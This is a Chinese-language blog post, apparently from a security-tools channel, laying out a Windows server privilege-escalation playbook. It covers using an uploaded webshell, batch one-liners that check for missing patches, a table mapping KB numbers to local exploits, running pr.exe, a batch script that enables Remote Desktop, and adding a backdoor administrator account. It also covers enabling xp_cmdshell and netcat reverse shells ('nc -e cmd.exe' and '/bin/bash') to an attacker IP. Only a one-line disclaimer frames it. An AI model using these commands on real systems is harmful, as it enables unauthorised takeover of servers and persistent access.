权限提升

  • A+
所属分类:安全文章

毕业了,想留的人没能留住,想要的生活也没有如约而至,也就这样了。。。


----  网易云热评


一、基于WebShell的提权

1、访问大马,查看权限

http://192.168.1.147/dm.asp

权限提升

2、若果遇到拒绝访问什么可以上传一个aspx的大马,这个权限比较大

http://192.168.1.147/da.aspx

权限提升


二、window提权

1、查看系统打补丁情况

win2003:

systeminfo>C:Windowstmptemp.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:Windowstmptemp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:Windowstmptemp.txt

权限提升

通用型:

systeminfo>C:Windowstmptemp.txt&(for %i in (KB3124280 KB3143141 KB3134228 KB3079904 KB3077657 KB3124280 KB3045171 KB2829361 KB3000061 KB2850851 KB2707511 KB970483 KB2124261 KB2271195) do @type C:Windowstmptemp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:WindowsTemptemp.txt

2、补丁对照表,上传exe,执行命令

KB952004 :MS09-012 PR

KB956572 :MS09-012 巴西烤肉

KB2393802:MS11-011

KB2592799:MS11-080

KB2621440:MS12-0203

KB2160329:MS10-048

KB970483 :MS09-020  iis6提权(可能是)

KB2124261,KB2271195 MS10-065 IIS7提权(可能是)

KB977165 :MS10-015

KB2360937 MS10-084

KB2478960 MS11-014

KB2507938 MS11-056

KB2566454 MS11-062

KB2646524 MS12-003

KB2645640 MS12-009

KB2641653 MS12-018

KB3077657 MS15_077 字体提权

KB944653 MS07-067

KB952004 MS09-012

KB971657 MS09-041

KB2620712 MS11-097

kb942831 MS08-005

KB2503665 MS11-046

KB2592799 MS11-080

3、由于存在PR提权漏洞,所以上传一个pr.exe执行

权限提升

4、一般那些目录有读写权限

日志,缓存、回收站、大马所在目录

5、开启3389,命令行

新建一个bat文件,里面输入以下内容,上传到相应目录

echo Windows Registry Editor Version 5.00>>3389.reg

echo [HKEY_LOCAL_MACHINESYSTEM CurrentControlSetControlTerminal Server]>>3389.reg

echo "fDenyTSConnections"=dword:00000000>>3389.reg

echo [HKEY_LOCAL_MACHINESYSTEM CurrentControlSetControlTerminal ServerWdsrdpwdTdstcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

echo [HKEY_LOCAL_MACHINESYSTEM CurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

regedit /s 3389.reg

del 3389.reg

命令行执行

/c c:aiyoupr.exe "c:aiyou3389.bat"

权限提升

2、用工具开3389端口

权限提升

权限提升

3、创建用户并添加管理员组

net user abc 123 /add

net localgroup administrators abc /add


三、数据库提权

权限提升

XP_CMDSHELL开启方法,新建查询

权限提升

权限提升


四、反弹shell

1、正向连接,主动连接服务器,服务器开启相应端口

2、反向连接,服务器主动连接我们,我们监听某一端口

小攻:nc -lvvp 1234

小受(webshell):nc.exe -e cmd.exe 192.168.1.133(小攻ip) 1234

3、获取权限

权限提升

4、linux系统nc -e /bin/bash 小攻ip 1234


禁止非法,后果自负

欢迎关注公众号:web安全工具库

权限提升

权限提升


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: